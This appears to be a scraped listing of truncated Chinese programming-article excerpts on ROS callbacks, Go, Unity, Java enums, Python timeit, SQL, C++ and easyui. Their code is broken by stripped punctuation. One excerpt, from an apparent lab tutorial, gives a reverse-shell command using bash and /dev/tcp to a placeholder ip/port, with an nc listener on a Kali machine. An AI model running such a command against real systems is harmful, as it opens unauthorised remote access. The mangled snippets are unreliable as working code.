ROS编程过程中遇到不少需要给回调函数传递多个参数的情况，下面总结一下，传参的方法：一、回调函数仅含单个参数voidchatterCallback(conststd_msgs::String::ConstPtr&msg){ROS_INFO("Iheard:%s",msg

目录问题解决问题如何根据一个流媒体地址URL判断对应的流媒体协议，比如RTMP、RTSP协议等。解决这里提供一个方法，可以直接拿来用。golangfuncgetProtocol(urlstring)(string,error){ifurl""{index:strings.Index(url,":")

实验环境CentOS6.5：192.168.0.3kali2.0：192.168.0.4方法1：反弹shell命令如下：bashi&/dev/tcp/ip/port0&1首先，使用nc在kali上监听端口：nclvp7777!0DdE723LF1.png(h

Unity3D占用内存太大的解决方法http://www.cnblogs.com/88999660/archive/2013/03/15/2961663.html(https://www.oschina.net/action/GoToLink?urlhttp%3A%2F%2Fwww.cnblogs.com%2F88999660%2Farchive

用法一：常量在JDK1.5 之前，我们定义常量都是： publicstaticfianl.... 。现在好了，有了枚举，可以把相关的常量分组到一个枚举类型里，而且枚举提供了比常量更多的方法。 publicenumColor{RED,GREEN,BLANK,YELLOW}用法二

\使用"timeit"模块可以测量短小代码的执行时间下面代码对比了三种方法拼接100以内的数字的执行时间每段主代码均执行了10000次importtimeittimeit.timeit('"".join(str(n)forninrange(100))',n

一、单表查询：单个表的查询方法及语法顺序需要通过实际例子来熟悉先将表数据创建下：!(https://oscimg.oschina.net/oscnet/592bec60479a16b20056327b683c142abe9.jpg)!(https://oscimg.oschina.net/

C中静态变量、常量、静态整型常量、静态非整型常量、引用变量的初始化方法先看一段代码classCTypeInit{public:CTypeInit(intc):m_c(c),m_ra(c){}private:intm_a;//通过初始化列表初始化，

这里使用的是easyui创建一个模式化的dialog扩展方法。easyuiUtil.js(https://www.oschina.net/action/GoToLink?urlhttp%3A%2F%2Fobq1lvsd9.bkt.clouddn.com%2FeasyuiUtil.js)parent.$.mo

环境搭建好之后的项目结构（搭建环境方法可参照https://my.oschina.net/korabear/blog/1813164），利用VScode编辑器打开：!(https://static.oschina.net/uploads/space/2018/0519/095621_bOa7_3785555.png)这个是自动创建的初始结构，下面